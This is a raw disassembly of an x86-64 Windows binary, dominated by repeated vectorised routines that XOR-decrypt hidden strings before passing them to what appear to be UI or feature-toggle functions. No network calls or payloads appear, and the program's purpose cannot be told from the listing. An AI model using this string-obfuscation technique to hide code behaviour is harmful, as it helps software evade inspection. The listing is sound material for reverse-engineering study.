lea rcx, [rbp - 0x1d]
mov rdi, rax
call fcn.140066310
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140062110
mov r8d, r12d
cmp r14d, 2
jl 0x1400620d7
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140061fd2
cmp r8d, 0x12
jge 0x140062110
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1400620e0
xor r9d, r9d
mov r8b, 1
mov rdx, rdi
mov rcx, r10
call fcn.14000c120
test al, al
je 0x140062851
lea rdx, [rbp + 0xcb2]
mov byte [rbp - 0x1c], 0
lea rcx, [rbp - 0x1c]
call fcn.140066330
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x1400622d0
mov r8d, r12d
cmp r14d, 2
jl 0x140062295
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062190
cmp r8d, 0x12
jge 0x1400622d0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1400622a0
lea rdx, [0x14018a85c]
mov rcx, r10
call fcn.140036400
lea rdx, [rbp + 0x77c]
mov byte [rbp - 0x34], 0
lea rcx, [rbp - 0x34]
call fcn.140066350
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140062450
mov r8d, r12d
cmp r14d, 2
jl 0x140062414
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140062420
lea rdx, [0x14018a61d]
mov rcx, r10
call fcn.140036400
lea rdx, [rbp + 0xcd6]
mov byte [rbp - 0x1a], 0
lea rcx, [rbp - 0x1a]
call fcn.140066380
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140062610
mov r8d, r12d
cmp r14d, 2
jl 0x1400625d5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400624d0
cmp r8d, 0x13
jge 0x140062610
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400625e0
lea rdx, [0x14018a619]
mov rcx, r10
call fcn.140036400
lea rdx, [rbp + 0x752]
mov byte [rbp - 9], 0
lea rcx, [rbp - 9]
call fcn.1400663b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140062790
mov r8d, r12d
cmp r14d, 2
jl 0x140062754
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140062760
lea rdx, [0x14018a61f]
mov rcx, r10
call fcn.140036400
lea rcx, [0x14011afa8]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movaps xmm2, xmm13
lea rcx, [rbp + 0x328]
movaps xmm1, xmm14
call fcn.140001e70
lea rdx, [rbp + 0x2e8]
mov byte [rbp + 0xe], 0
lea rcx, [rbp + 0xe]
mov rdi, rax
call fcn.1400663e0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140062803
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
mov rdx, rdi
mov rcx, rax
call fcn.1400353e0
test al, al
je 0x140062851
movzx eax, byte [0x14018a85c]
test al, al
je 0x140062843
cmp byte [0x14018a61d], 0
je 0x140062836
xor edx, edx
xor ecx, ecx
call fcn.140049810
movzx eax, byte [0x14018a85c]
test al, al
je 0x140062843
xor edx, edx
xor ecx, ecx
call fcn.140049810
cmp byte [0x14018a619], 0
je 0x140062851
call fcn.140044620
call fcn.14000c180
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
lea rcx, [0x14011afb8]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movss xmm1, dword [0x14011f43c]
lea rcx, [rbp + 0x330]
movaps xmm2, xmm15
call fcn.140001e70
lea rdx, [rbp + 0xc90]
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x48]
mov rdi, rax
call fcn.140066400
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140062a40
mov r8d, r12d
cmp r14d, 2
jl 0x140062a05
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062900
cmp r8d, 0x11
jge 0x140062a40
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140062a10
xor r9d, r9d
mov r8b, 1
mov rdx, rdi
mov rcx, r10
call fcn.14000c120
test al, al
je 0x140062c78
lea rdx, [rbp + 0xdb2]
mov byte [rbp - 0x47], 0
lea rcx, [rbp - 0x47]
call fcn.140066420
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140062c00
mov r8d, r12d
cmp r14d, 2
jl 0x140062bc5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140062ac0
cmp r8d, 0x1b
jge 0x140062c00
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x140062bd0
mov rcx, r10
call fcn.140033e90
mov rcx, qword [0x14018a870]
call fcn.140012520
lea rcx, [0x140189158]
call fcn.140068200
lea rdx, [rbp + 0x600]
mov byte [rbp - 0x46], 0
lea rcx, [rbp - 0x46]
mov rdi, rax
call fcn.140066450
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140062c68
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rdi
mov rcx, rax
call fcn.140033e90
call fcn.1400125c0
call fcn.14000c180
mov eax, dword [0x14018a834]
cmp eax, 1
jne 0x1400635b6
call fcn.14005a880
lea rcx, [0x14011afc8]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movss xmm1, dword [0x14011f438]
lea rcx, [rbp + 0x338]
movaps xmm2, xmm15
call fcn.140001e70
lea rdx, [rbp + 0xca1]
mov byte [rbp - 0x45], 0
lea rcx, [rbp - 0x45]
mov rdi, rax
call fcn.140066470
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140062e70
mov r8d, r12d
cmp r14d, 2
jl 0x140062e37
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062d32
cmp r8d, 0x11
jge 0x140062e70
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140062e40
xor r9d, r9d
mov r8b, 1
mov rdx, rdi
mov rcx, r10
call fcn.14000c120
test al, al
je 0x1400635ab
lea rdx, [rbp + 0x7d0]
mov byte [rbp - 0x44], 0
lea rcx, [rbp - 0x44]
call fcn.140066490
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140063040
cmp r14d, 2
jl 0x140062fff
movdqa xmm0, xmmword [0x14011f5c0]
mov edi, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov edx, r12d
movdqa xmm4, xmmword [0x14011f5b0]
mov rcx, rax
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm8, edi
movd xmm6, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140062f00
jmp 0x140063045
mov r9, r10
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140063010
mov edi, Ordinal_32
lea rdx, [0x14018a84f]
mov rcx, r10
call fcn.140036400
lea rdx, [rbp + 0x7e0]
mov byte [rbp - 0x43], 0
lea rcx, [rbp - 0x43]
call fcn.1400664a0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140063200
cmp r14d, 2
jl 0x1400631bf
movdqa xmm0, xmmword [0x14011f5c0]
mov edx, r12d
movdqa xmm5, xmmword [0x14011f510]
mov rcx, rax
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm6, esi
movd xmm8, edi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x1400630c0
jmp 0x140063200
mov r9, r10
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1400631d0
lea rdx, [0x14018a85e]
mov rcx, r10
call fcn.140036400
lea rdx, [rbp + 0xd9c]
mov byte [rbp - 0x42], 0
lea rcx, [rbp - 0x42]
